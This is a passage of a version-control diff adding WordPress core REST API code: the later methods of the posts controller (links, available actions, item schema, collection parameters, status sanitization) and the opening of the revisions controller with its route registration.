+				$terms = get_the_terms( $post, $taxonomy->name );
+				$data[ $base ] = $terms ? array_values( wp_list_pluck( $terms, 'term_id' ) ) : array();
+			}
+		}
+
+		$post_type_obj = get_post_type_object( $post->post_type );
+		if ( is_post_type_viewable( $post_type_obj ) && $post_type_obj->public  ) {
+
+			if ( ! function_exists( 'get_sample_permalink' ) ) {
+				require_once ABSPATH . '/wp-admin/includes/post.php';
+			}
+
+			$sample_permalink = get_sample_permalink( $post->ID, $post->post_title, '' );
+
+			if ( in_array( 'permalink_template', $fields, true ) ) {
+				$data['permalink_template'] = $sample_permalink[0];
+			}
+			if ( in_array( 'generated_slug', $fields, true ) ) {
+				$data['generated_slug'] = $sample_permalink[1];
+			}
+		}
+
+		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
+		$data    = $this->add_additional_fields_to_object( $data, $request );
+		$data    = $this->filter_response_by_context( $data, $context );
+
+		// Wrap the data in a response object.
+		$response = rest_ensure_response( $data );
+
+		$links = $this->prepare_links( $post );
+		$response->add_links( $links );
+
+		if ( ! empty( $links['self']['href'] ) ) {
+			$actions = $this->get_available_actions( $post, $request );
+
+			$self = $links['self']['href'];
+
+			foreach ( $actions as $rel ) {
+				$response->add_link( $rel, $self );
+			}
+		}
+
+		/**
+		 * Filters the post data for a response.
+		 *
+		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param WP_REST_Response $response The response object.
+		 * @param WP_Post          $post     Post object.
+		 * @param WP_REST_Request  $request  Request object.
+		 */
+		return apply_filters( "rest_prepare_{$this->post_type}", $response, $post, $request );
+	}
+
+	/**
+	 * Overwrites the default protected title format.
+	 *
+	 * By default, WordPress will show password protected posts with a title of
+	 * "Protected: %s", as the REST API communicates the protected status of a post
+	 * in a machine readable format, we remove the "Protected: " prefix.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return string Protected title format.
+	 */
+	public function protected_title_format() {
+		return '%s';
+	}
+
+	/**
+	 * Prepares links for the request.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_Post $post Post object.
+	 * @return array Links for the given post.
+	 */
+	protected function prepare_links( $post ) {
+		$base = sprintf( '%s/%s', $this->namespace, $this->rest_base );
+
+		// Entity meta.
+		$links = array(
+			'self' => array(
+				'href'   => rest_url( trailingslashit( $base ) . $post->ID ),
+			),
+			'collection' => array(
+				'href'   => rest_url( $base ),
+			),
+			'about'      => array(
+				'href'   => rest_url( 'wp/v2/types/' . $this->post_type ),
+			),
+		);
+
+		if ( ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'author' ) )
+			&& ! empty( $post->post_author ) ) {
+			$links['author'] = array(
+				'href'       => rest_url( 'wp/v2/users/' . $post->post_author ),
+				'embeddable' => true,
+			);
+		}
+
+		if ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'comments' ) ) {
+			$replies_url = rest_url( 'wp/v2/comments' );
+			$replies_url = add_query_arg( 'post', $post->ID, $replies_url );
+
+			$links['replies'] = array(
+				'href'       => $replies_url,
+				'embeddable' => true,
+			);
+		}
+
+		if ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'revisions' ) ) {
+			$revisions       = wp_get_post_revisions( $post->ID, array( 'fields' => 'ids' ) );
+			$revisions_count = count( $revisions );
+
+			$links['version-history'] = array(
+				'href'  => rest_url( trailingslashit( $base ) . $post->ID . '/revisions' ),
+				'count' => $revisions_count,
+			);
+
+			if ( $revisions_count > 0 ) {
+				$last_revision = array_shift( $revisions );
+
+				$links['predecessor-version'] = array(
+					'href' => rest_url( trailingslashit( $base ) . $post->ID . '/revisions/' . $last_revision ),
+					'id'   => $last_revision,
+				);
+			}
+
+		}
+
+		$post_type_obj = get_post_type_object( $post->post_type );
+
+		if ( $post_type_obj->hierarchical && ! empty( $post->post_parent ) ) {
+			$links['up'] = array(
+				'href'       => rest_url( trailingslashit( $base ) . (int) $post->post_parent ),
+				'embeddable' => true,
+			);
+		}
+
+		// If we have a featured media, add that.
+		if ( $featured_media = get_post_thumbnail_id( $post->ID ) ) {
+			$image_url = rest_url( 'wp/v2/media/' . $featured_media );
+
+			$links['https://api.w.org/featuredmedia'] = array(
+				'href'       => $image_url,
+				'embeddable' => true,
+			);
+		}
+
+		if ( ! in_array( $post->post_type, array( 'attachment', 'nav_menu_item', 'revision' ), true ) ) {
+			$attachments_url = rest_url( 'wp/v2/media' );
+			$attachments_url = add_query_arg( 'parent', $post->ID, $attachments_url );
+
+			$links['https://api.w.org/attachment'] = array(
+				'href' => $attachments_url,
+			);
+		}
+
+		$taxonomies = get_object_taxonomies( $post->post_type );
+
+		if ( ! empty( $taxonomies ) ) {
+			$links['https://api.w.org/term'] = array();
+
+			foreach ( $taxonomies as $tax ) {
+				$taxonomy_obj = get_taxonomy( $tax );
+
+				// Skip taxonomies that are not public.
+				if ( empty( $taxonomy_obj->show_in_rest ) ) {
+					continue;
+				}
+
+				$tax_base = ! empty( $taxonomy_obj->rest_base ) ? $taxonomy_obj->rest_base : $tax;
+
+				$terms_url = add_query_arg(
+					'post',
+					$post->ID,
+					rest_url( 'wp/v2/' . $tax_base )
+				);
+
+				$links['https://api.w.org/term'][] = array(
+					'href'       => $terms_url,
+					'taxonomy'   => $tax,
+					'embeddable' => true,
+				);
+			}
+		}
+
+		return $links;
+	}
+
+	/**
+	 * Get the link relations available for the post and current user.
+	 *
+	 * @since 4.9.8
+	 *
+	 * @param WP_Post $post Post object.
+	 * @param WP_REST_Request Request object.
+	 *
+	 * @return array List of link relations.
+	 */
+	protected function get_available_actions( $post, $request ) {
+
+		if ( 'edit' !== $request['context'] ) {
+			return array();
+		}
+
+		$rels = array();
+
+		$post_type = get_post_type_object( $post->post_type );
+
+		if ( 'attachment' !== $this->post_type && current_user_can( $post_type->cap->publish_posts ) ) {
+			$rels[] = 'https://api.w.org/action-publish';
+		}
+
+		if ( current_user_can( 'unfiltered_html' ) ) {
+			$rels[] = 'https://api.w.org/action-unfiltered-html';
+		}
+
+		if ( 'post' === $post_type->name ) {
+			if ( current_user_can( $post_type->cap->edit_others_posts ) && current_user_can( $post_type->cap->publish_posts ) ) {
+				$rels[] = 'https://api.w.org/action-sticky';
+			}
+		}
+
+		if ( post_type_supports( $post_type->name, 'author' ) ) {
+			if ( current_user_can( $post_type->cap->edit_others_posts ) ) {
+				$rels[] = 'https://api.w.org/action-assign-author';
+			}
+		}
+
+		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
+
+		foreach ( $taxonomies as $tax ) {
+			$tax_base   = ! empty( $tax->rest_base ) ? $tax->rest_base : $tax->name;
+			$create_cap = is_taxonomy_hierarchical( $tax->name ) ? $tax->cap->edit_terms : $tax->cap->assign_terms;
+
+			if ( current_user_can( $create_cap ) ) {
+				$rels[] = 'https://api.w.org/action-create-' . $tax_base;
+			}
+
+			if ( current_user_can( $tax->cap->assign_terms ) ) {
+				$rels[] = 'https://api.w.org/action-assign-' . $tax_base;
+			}
+		}
+
+		return $rels;
+	}
+
+	/**
+	 * Retrieves the post's schema, conforming to JSON Schema.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Item schema data.
+	 */
+	public function get_item_schema() {
+
+		$schema = array(
+			'$schema'    => 'http://json-schema.org/draft-04/schema#',
+			'title'      => $this->post_type,
+			'type'       => 'object',
+			// Base properties for every Post.
+			'properties' => array(
+				'date'            => array(
+					'description' => __( "The date the object was published, in the site's timezone." ),
+					'type'        => 'string',
+					'format'      => 'date-time',
+					'context'     => array( 'view', 'edit', 'embed' ),
+				),
+				'date_gmt'        => array(
+					'description' => __( 'The date the object was published, as GMT.' ),
+					'type'        => 'string',
+					'format'      => 'date-time',
+					'context'     => array( 'view', 'edit' ),
+				),
+				'guid'            => array(
+					'description' => __( 'The globally unique identifier for the object.' ),
+					'type'        => 'object',
+					'context'     => array( 'view', 'edit' ),
+					'readonly'    => true,
+					'properties'  => array(
+						'raw'      => array(
+							'description' => __( 'GUID for the object, as it exists in the database.' ),
+							'type'        => 'string',
+							'context'     => array( 'edit' ),
+							'readonly'    => true,
+						),
+						'rendered' => array(
+							'description' => __( 'GUID for the object, transformed for display.' ),
+							'type'        => 'string',
+							'context'     => array( 'view', 'edit' ),
+							'readonly'    => true,
+						),
+					),
+				),
+				'id'              => array(
+					'description' => __( 'Unique identifier for the object.' ),
+					'type'        => 'integer',
+					'context'     => array( 'view', 'edit', 'embed' ),
+					'readonly'    => true,
+				),
+				'link'            => array(
+					'description' => __( 'URL to the object.' ),
+					'type'        => 'string',
+					'format'      => 'uri',
+					'context'     => array( 'view', 'edit', 'embed' ),
+					'readonly'    => true,
+				),
+				'modified'        => array(
+					'description' => __( "The date the object was last modified, in the site's timezone." ),
+					'type'        => 'string',
+					'format'      => 'date-time',
+					'context'     => array( 'view', 'edit' ),
+					'readonly'    => true,
+				),
+				'modified_gmt'    => array(
+					'description' => __( 'The date the object was last modified, as GMT.' ),
+					'type'        => 'string',
+					'format'      => 'date-time',
+					'context'     => array( 'view', 'edit' ),
+					'readonly'    => true,
+				),
+				'slug'            => array(
+					'description' => __( 'An alphanumeric identifier for the object unique to its type.' ),
+					'type'        => 'string',
+					'context'     => array( 'view', 'edit', 'embed' ),
+					'arg_options' => array(
+						'sanitize_callback' => array( $this, 'sanitize_slug' ),
+					),
+				),
+				'status'          => array(
+					'description' => __( 'A named status for the object.' ),
+					'type'        => 'string',
+					'enum'        => array_keys( get_post_stati( array( 'internal' => false ) ) ),
+					'context'     => array( 'view', 'edit' ),
+				),
+				'type'            => array(
+					'description' => __( 'Type of Post for the object.' ),
+					'type'        => 'string',
+					'context'     => array( 'view', 'edit', 'embed' ),
+					'readonly'    => true,
+				),
+				'password'        => array(
+					'description' => __( 'A password to protect access to the content and excerpt.' ),
+					'type'        => 'string',
+					'context'     => array( 'edit' ),
+				),
+			),
+		);
+
+		$post_type_obj = get_post_type_object( $this->post_type );
+		if ( is_post_type_viewable( $post_type_obj ) && $post_type_obj->public ) {
+			$schema['properties']['permalink_template'] = array(
+				'description' => __( 'Permalink template for the object.' ),
+				'type'        => 'string',
+				'context'     => array( 'edit' ),
+				'readonly'    => true,
+			);
+
+			$schema['properties']['generated_slug'] = array(
+				'description' => __( 'Slug automatically generated from the object title.' ),
+				'type'        => 'string',
+				'context'     => array( 'edit' ),
+				'readonly'    => true,
+			);
+		}
+
+		if ( $post_type_obj->hierarchical ) {
+			$schema['properties']['parent'] = array(
+				'description' => __( 'The ID for the parent of the object.' ),
+				'type'        => 'integer',
+				'context'     => array( 'view', 'edit' ),
+			);
+		}
+
+		$post_type_attributes = array(
+			'title',
+			'editor',
+			'author',
+			'excerpt',
+			'thumbnail',
+			'comments',
+			'revisions',
+			'page-attributes',
+			'post-formats',
+			'custom-fields',
+		);
+		$fixed_schemas = array(
+			'post' => array(
+				'title',
+				'editor',
+				'author',
+				'excerpt',
+				'thumbnail',
+				'comments',
+				'revisions',
+				'post-formats',
+				'custom-fields',
+			),
+			'page' => array(
+				'title',
+				'editor',
+				'author',
+				'excerpt',
+				'thumbnail',
+				'comments',
+				'revisions',
+				'page-attributes',
+				'custom-fields',
+			),
+			'attachment' => array(
+				'title',
+				'author',
+				'comments',
+				'revisions',
+				'custom-fields',
+			),
+		);
+		foreach ( $post_type_attributes as $attribute ) {
+			if ( isset( $fixed_schemas[ $this->post_type ] ) && ! in_array( $attribute, $fixed_schemas[ $this->post_type ], true ) ) {
+				continue;
+			} elseif ( ! isset( $fixed_schemas[ $this->post_type ] ) && ! post_type_supports( $this->post_type, $attribute ) ) {
+				continue;
+			}
+
+			switch ( $attribute ) {
+
+				case 'title':
+					$schema['properties']['title'] = array(
+						'description' => __( 'The title for the object.' ),
+						'type'        => 'object',
+						'context'     => array( 'view', 'edit', 'embed' ),
+						'arg_options' => array(
+							'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database()
+							'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database()
+						),
+						'properties'  => array(
+							'raw' => array(
+								'description' => __( 'Title for the object, as it exists in the database.' ),
+								'type'        => 'string',
+								'context'     => array( 'edit' ),
+							),
+							'rendered' => array(
+								'description' => __( 'HTML title for the object, transformed for display.' ),
+								'type'        => 'string',
+								'context'     => array( 'view', 'edit', 'embed' ),
+								'readonly'    => true,
+							),
+						),
+					);
+					break;
+
+				case 'editor':
+					$schema['properties']['content'] = array(
+						'description' => __( 'The content for the object.' ),
+						'type'        => 'object',
+						'context'     => array( 'view', 'edit' ),
+						'arg_options' => array(
+							'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database()
+							'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database()
+						),
+						'properties'  => array(
+							'raw' => array(
+								'description' => __( 'Content for the object, as it exists in the database.' ),
+								'type'        => 'string',
+								'context'     => array( 'edit' ),
+							),
+							'rendered' => array(
+								'description' => __( 'HTML content for the object, transformed for display.' ),
+								'type'        => 'string',
+								'context'     => array( 'view', 'edit' ),
+								'readonly'    => true,
+							),
+							'block_version' => array(
+								'description' => __( 'Version of the content block format used by the object.' ),
+								'type'        => 'integer',
+								'context'     => array( 'edit' ),
+								'readonly'    => true,
+							),
+							'protected'       => array(
+								'description' => __( 'Whether the content is protected with a password.' ),
+								'type'        => 'boolean',
+								'context'     => array( 'view', 'edit', 'embed' ),
+								'readonly'    => true,
+							),
+						),
+					);
+					break;
+
+				case 'author':
+					$schema['properties']['author'] = array(
+						'description' => __( 'The ID for the author of the object.' ),
+						'type'        => 'integer',
+						'context'     => array( 'view', 'edit', 'embed' ),
+					);
+					break;
+
+				case 'excerpt':
+					$schema['properties']['excerpt'] = array(
+						'description' => __( 'The excerpt for the object.' ),
+						'type'        => 'object',
+						'context'     => array( 'view', 'edit', 'embed' ),
+						'arg_options' => array(
+							'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database()
+							'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database()
+						),
+						'properties'  => array(
+							'raw' => array(
+								'description' => __( 'Excerpt for the object, as it exists in the database.' ),
+								'type'        => 'string',
+								'context'     => array( 'edit' ),
+							),
+							'rendered' => array(
+								'description' => __( 'HTML excerpt for the object, transformed for display.' ),
+								'type'        => 'string',
+								'context'     => array( 'view', 'edit', 'embed' ),
+								'readonly'    => true,
+							),
+							'protected'       => array(
+								'description' => __( 'Whether the excerpt is protected with a password.' ),
+								'type'        => 'boolean',
+								'context'     => array( 'view', 'edit', 'embed' ),
+								'readonly'    => true,
+							),
+						),
+					);
+					break;
+
+				case 'thumbnail':
+					$schema['properties']['featured_media'] = array(
+						'description' => __( 'The ID of the featured media for the object.' ),
+						'type'        => 'integer',
+						'context'     => array( 'view', 'edit', 'embed' ),
+					);
+					break;
+
+				case 'comments':
+					$schema['properties']['comment_status'] = array(
+						'description' => __( 'Whether or not comments are open on the object.' ),
+						'type'        => 'string',
+						'enum'        => array( 'open', 'closed' ),
+						'context'     => array( 'view', 'edit' ),
+					);
+					$schema['properties']['ping_status'] = array(
+						'description' => __( 'Whether or not the object can be pinged.' ),
+						'type'        => 'string',
+						'enum'        => array( 'open', 'closed' ),
+						'context'     => array( 'view', 'edit' ),
+					);
+					break;
+
+				case 'page-attributes':
+					$schema['properties']['menu_order'] = array(
+						'description' => __( 'The order of the object in relation to other object of its type.' ),
+						'type'        => 'integer',
+						'context'     => array( 'view', 'edit' ),
+					);
+					break;
+
+				case 'post-formats':
+					// Get the native post formats and remove the array keys.
+					$formats = array_values( get_post_format_slugs() );
+
+					$schema['properties']['format'] = array(
+						'description' => __( 'The format for the object.' ),
+						'type'        => 'string',
+						'enum'        => $formats,
+						'context'     => array( 'view', 'edit' ),
+					);
+					break;
+
+				case 'custom-fields':
+					$schema['properties']['meta'] = $this->meta->get_field_schema();
+					break;
+
+			}
+		}
+
+		if ( 'post' === $this->post_type ) {
+			$schema['properties']['sticky'] = array(
+				'description' => __( 'Whether or not the object should be treated as sticky.' ),
+				'type'        => 'boolean',
+				'context'     => array( 'view', 'edit' ),
+			);
+		}
+
+		$schema['properties']['template'] = array(
+			'description' => __( 'The theme file to use to display the object.' ),
+			'type'        => 'string',
+			'context'     => array( 'view', 'edit' ),
+			'arg_options' => array(
+				'validate_callback' => array( $this, 'check_template' ),
+			),
+		);
+
+		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
+		foreach ( $taxonomies as $taxonomy ) {
+			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
+			$schema['properties'][ $base ] = array(
+				/* translators: %s: taxonomy name */
+				'description' => sprintf( __( 'The terms assigned to the object in the %s taxonomy.' ), $taxonomy->name ),
+				'type'        => 'array',
+				'items'       => array(
+					'type'    => 'integer',
+				),
+				'context'     => array( 'view', 'edit' ),
+			);
+		}
+
+		$schema_links = $this->get_schema_links();
+
+		if ( $schema_links ) {
+			$schema['links'] = $schema_links;
+		}
+
+		return $this->add_additional_fields_schema( $schema );
+	}
+
+	/**
+	 * Retrieve Link Description Objects that should be added to the Schema for the posts collection.
+	 *
+	 * @since 4.9.8
+	 *
+	 * @return array
+	 */
+	protected function get_schema_links() {
+
+		$href = rest_url( "{$this->namespace}/{$this->rest_base}/{id}" );
+
+		$links = array();
+
+		if ( 'attachment' !== $this->post_type ) {
+			$links[] = array(
+				'rel'          => 'https://api.w.org/action-publish',
+				'title'        => __( 'The current user can publish this post.' ),
+				'href'         => $href,
+				'targetSchema' => array(
+					'type'       => 'object',
+					'properties' => array(
+						'status' => array(
+							'type' => 'string',
+							'enum' => array( 'publish', 'future' ),
+						),
+					),
+				),
+			);
+		}
+
+		$links[] = array(
+			'rel'          => 'https://api.w.org/action-unfiltered-html',
+			'title'        => __( 'The current user can post unfiltered HTML markup and JavaScript.' ),
+			'href'         => $href,
+			'targetSchema' => array(
+				'type'        => 'object',
+				'properties'  => array(
+					'content' => array(
+						'raw' => array(
+							'type' => 'string',
+						),
+					),
+				),
+			),
+		);
+
+		if ( 'post' === $this->post_type ) {
+			$links[] = array(
+				'rel'          => 'https://api.w.org/action-sticky',
+				'title'        => __( 'The current user can sticky this post.' ),
+				'href'         => $href,
+				'targetSchema' => array(
+					'type'       => 'object',
+					'properties' => array(
+						'sticky' => array(
+							'type' => 'boolean',
+						),
+					),
+				),
+			);
+		}
+
+		if ( post_type_supports( $this->post_type, 'author' ) ) {
+			$links[] = array(
+				'rel'          => 'https://api.w.org/action-assign-author',
+				'title'        => __( 'The current user can change the author on this post.' ),
+				'href'         => $href,
+				'targetSchema' => array(
+					'type'       => 'object',
+					'properties' => array(
+						'author' => array(
+							'type' => 'integer',
+						),
+					),
+				),
+			);
+		}
+
+		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
+
+		foreach ( $taxonomies as $tax ) {
+			$tax_base = ! empty( $tax->rest_base ) ? $tax->rest_base : $tax->name;
+
+			/* translators: %s: taxonomy name */
+			$assign_title = sprintf( __( 'The current user can assign terms in the %s taxonomy.' ), $tax->name );
+			/* translators: %s: taxonomy name */
+			$create_title = sprintf( __( 'The current user can create terms in the %s taxonomy.' ), $tax->name );
+
+			$links[] = array(
+				'rel'          => 'https://api.w.org/action-assign-' . $tax_base,
+				'title'        => $assign_title,
+				'href'         => $href,
+				'targetSchema' => array(
+					'type'       => 'object',
+					'properties' => array(
+						$tax_base => array(
+							'type'  => 'array',
+							'items' => array(
+								'type' => 'integer',
+							),
+						),
+					),
+				),
+			);
+
+			$links[] = array(
+				'rel'          => 'https://api.w.org/action-create-' . $tax_base,
+				'title'        => $create_title,
+				'href'         => $href,
+				'targetSchema' => array(
+					'type'       => 'object',
+					'properties' => array(
+						$tax_base => array(
+							'type'  => 'array',
+							'items' => array(
+								'type' => 'integer',
+							),
+						),
+					),
+				),
+			);
+		}
+
+		return $links;
+	}
+
+	/**
+	 * Retrieves the query params for the posts collection.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Collection parameters.
+	 */
+	public function get_collection_params() {
+		$query_params = parent::get_collection_params();
+
+		$query_params['context']['default'] = 'view';
+
+		$query_params['after'] = array(
+			'description'        => __( 'Limit response to posts published after a given ISO8601 compliant date.' ),
+			'type'               => 'string',
+			'format'             => 'date-time',
+		);
+
+		if ( post_type_supports( $this->post_type, 'author' ) ) {
+			$query_params['author'] = array(
+				'description'         => __( 'Limit result set to posts assigned to specific authors.' ),
+				'type'                => 'array',
+				'items'               => array(
+					'type'            => 'integer',
+				),
+				'default'             => array(),
+			);
+			$query_params['author_exclude'] = array(
+				'description'         => __( 'Ensure result set excludes posts assigned to specific authors.' ),
+				'type'                => 'array',
+				'items'               => array(
+					'type'            => 'integer',
+				),
+				'default'             => array(),
+			);
+		}
+
+		$query_params['before'] = array(
+			'description'        => __( 'Limit response to posts published before a given ISO8601 compliant date.' ),
+			'type'               => 'string',
+			'format'             => 'date-time',
+		);
+
+		$query_params['exclude'] = array(
+			'description'        => __( 'Ensure result set excludes specific IDs.' ),
+			'type'               => 'array',
+			'items'              => array(
+				'type'           => 'integer',
+			),
+			'default'            => array(),
+		);
+
+		$query_params['include'] = array(
+			'description'        => __( 'Limit result set to specific IDs.' ),
+			'type'               => 'array',
+			'items'              => array(
+				'type'           => 'integer',
+			),
+			'default'            => array(),
+		);
+
+		if ( 'page' === $this->post_type || post_type_supports( $this->post_type, 'page-attributes' ) ) {
+			$query_params['menu_order'] = array(
+				'description'        => __( 'Limit result set to posts with a specific menu_order value.' ),
+				'type'               => 'integer',
+			);
+		}
+
+		$query_params['offset'] = array(
+			'description'        => __( 'Offset the result set by a specific number of items.' ),
+			'type'               => 'integer',
+		);
+
+		$query_params['order'] = array(
+			'description'        => __( 'Order sort attribute ascending or descending.' ),
+			'type'               => 'string',
+			'default'            => 'desc',
+			'enum'               => array( 'asc', 'desc' ),
+		);
+
+		$query_params['orderby'] = array(
+			'description'        => __( 'Sort collection by object attribute.' ),
+			'type'               => 'string',
+			'default'            => 'date',
+			'enum'               => array(
+				'author',
+				'date',
+				'id',
+				'include',
+				'modified',
+				'parent',
+				'relevance',
+				'slug',
+				'include_slugs',
+				'title',
+			),
+		);
+
+		if ( 'page' === $this->post_type || post_type_supports( $this->post_type, 'page-attributes' ) ) {
+			$query_params['orderby']['enum'][] = 'menu_order';
+		}
+
+		$post_type = get_post_type_object( $this->post_type );
+
+		if ( $post_type->hierarchical || 'attachment' === $this->post_type ) {
+			$query_params['parent'] = array(
+				'description'       => __( 'Limit result set to items with particular parent IDs.' ),
+				'type'              => 'array',
+				'items'             => array(
+					'type'          => 'integer',
+				),
+				'default'           => array(),
+			);
+			$query_params['parent_exclude'] = array(
+				'description'       => __( 'Limit result set to all items except those of a particular parent ID.' ),
+				'type'              => 'array',
+				'items'             => array(
+					'type'          => 'integer',
+				),
+				'default'           => array(),
+			);
+		}
+
+		$query_params['slug'] = array(
+			'description'       => __( 'Limit result set to posts with one or more specific slugs.' ),
+			'type'              => 'array',
+			'items'             => array(
+				'type'          => 'string',
+			),
+			'sanitize_callback' => 'wp_parse_slug_list',
+		);
+
+		$query_params['status'] = array(
+			'default'           => 'publish',
+			'description'       => __( 'Limit result set to posts assigned one or more statuses.' ),
+			'type'              => 'array',
+			'items'             => array(
+				'enum'          => array_merge( array_keys( get_post_stati() ), array( 'any' ) ),
+				'type'          => 'string',
+			),
+			'sanitize_callback' => array( $this, 'sanitize_post_statuses' ),
+		);
+
+		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
+
+		foreach ( $taxonomies as $taxonomy ) {
+			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
+
+			$query_params[ $base ] = array(
+				/* translators: %s: taxonomy name */
+				'description'       => sprintf( __( 'Limit result set to all items that have the specified term assigned in the %s taxonomy.' ), $base ),
+				'type'              => 'array',
+				'items'             => array(
+					'type'          => 'integer',
+				),
+				'default'           => array(),
+			);
+
+			$query_params[ $base . '_exclude' ] = array(
+				/* translators: %s: taxonomy name */
+				'description' => sprintf( __( 'Limit result set to all items except those that have the specified term assigned in the %s taxonomy.' ), $base ),
+				'type'        => 'array',
+				'items'       => array(
+					'type'    => 'integer',
+				),
+				'default'           => array(),
+			);
+		}
+
+		if ( 'post' === $this->post_type ) {
+			$query_params['sticky'] = array(
+				'description'       => __( 'Limit result set to items that are sticky.' ),
+				'type'              => 'boolean',
+			);
+		}
+
+		/**
+		 * Filter collection parameters for the posts controller.
+		 *
+		 * The dynamic part of the filter `$this->post_type` refers to the post
+		 * type slug for the controller.
+		 *
+		 * This filter registers the collection parameter, but does not map the
+		 * collection parameter to an internal WP_Query parameter. Use the
+		 * `rest_{$this->post_type}_query` filter to set WP_Query parameters.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param array        $query_params JSON Schema-formatted collection parameters.
+		 * @param WP_Post_Type $post_type    Post type object.
+		 */
+		return apply_filters( "rest_{$this->post_type}_collection_params", $query_params, $post_type );
+	}
+
+	/**
+	 * Sanitizes and validates the list of post statuses, including whether the
+	 * user can query private statuses.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param  string|array    $statuses  One or more post statuses.
+	 * @param  WP_REST_Request $request   Full details about the request.
+	 * @param  string          $parameter Additional parameter to pass to validation.
+	 * @return array|WP_Error A list of valid statuses, otherwise WP_Error object.
+	 */
+	public function sanitize_post_statuses( $statuses, $request, $parameter ) {
+		$statuses = wp_parse_slug_list( $statuses );
+
+		// The default status is different in WP_REST_Attachments_Controller
+		$attributes = $request->get_attributes();
+		$default_status = $attributes['args']['status']['default'];
+
+		foreach ( $statuses as $status ) {
+			if ( $status === $default_status ) {
+				continue;
+			}
+
+			$post_type_obj = get_post_type_object( $this->post_type );
+
+			if ( current_user_can( $post_type_obj->cap->edit_posts ) || 'private' === $status && current_user_can( $post_type_obj->cap->read_private_posts ) ) {
+				$result = rest_validate_request_arg( $status, $request, $parameter );
+				if ( is_wp_error( $result ) ) {
+					return $result;
+				}
+			} else {
+				return new WP_Error( 'rest_forbidden_status', __( 'Status is forbidden.' ), array( 'status' => rest_authorization_required_code() ) );
+			}
+		}
+
+		return $statuses;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php	(revision 56912)
@@ -0,0 +1,757 @@
+<?php
+/**
+ * REST API: WP_REST_Revisions_Controller class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 4.7.0
+ */
+
+/**
+ * Core class used to access revisions via the REST API.
+ *
+ * @since 4.7.0
+ *
+ * @see WP_REST_Controller
+ */
+class WP_REST_Revisions_Controller extends WP_REST_Controller {
+
+	/**
+	 * Parent post type.
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	private $parent_post_type;
+
+	/**
+	 * Parent controller.
+	 *
+	 * @since 4.7.0
+	 * @var WP_REST_Controller
+	 */
+	private $parent_controller;
+
+	/**
+	 * The base of the parent controller's route.
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	private $parent_base;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string $parent_post_type Post type of the parent.
+	 */
+	public function __construct( $parent_post_type ) {
+		$this->parent_post_type = $parent_post_type;
+		$this->parent_controller = new WP_REST_Posts_Controller( $parent_post_type );
+		$this->namespace = 'wp/v2';
+		$this->rest_base = 'revisions';
+		$post_type_object = get_post_type_object( $parent_post_type );
+		$this->parent_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
+	}
+
+	/**
+	 * Registers routes for revisions based on post types supporting revisions.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @see register_rest_route()
+	 */
+	public function register_routes() {
+
+		register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base, array(
+			'args' => array(
+				'parent' => array(
+					'description' => __( 'The ID for the parent of the object.' ),
+					'type'        => 'integer',
+				),
+			),
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'get_items' ),
+				'permission_callback' => array( $this, 'get_items_permissions_check' ),
+				'args'                => $this->get_collection_params(),
+			),
+			'schema' => array( $this, 'get_public_item_schema' ),
+		) );
+
+		register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base . '/(?P<id>[\d]+)', array(
+			'args' => array(
+				'parent' => array(
+					'description' => __( 'The ID for the parent of the object.' ),
+					'type'        => 'integer',
+				),
+				'id' => array(
+					'description' => __( 'Unique identifier for the object.' ),
+					'type'        => 'integer',
+				),
+			),
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'get_item' ),
+				'permission_callback' => array( $this, 'get_item_permissions_check' ),
+				'args'                => array(
+					'context' => $this->get_context_param( array( 'default' => 'view' ) ),
+				),
+			),
+			array(
+				'methods'             => WP_REST_Server::DELETABLE,
+				'callback'            => array( $this, 'delete_item' ),
+				'permission_callback' => array( $this, 'delete_item_permissions_check' ),
+				'args'                => array(
+					'force' => array(
+						'type'        => 'boolean',
+						'default'     => false,
+						'description' => __( 'Required to be true, as revisions do not support trashing.' ),
+					),
+				),
+			),
+			'schema' => array( $this, 'get_public_item_schema' ),
+		));
+
+	}
+
+	/**
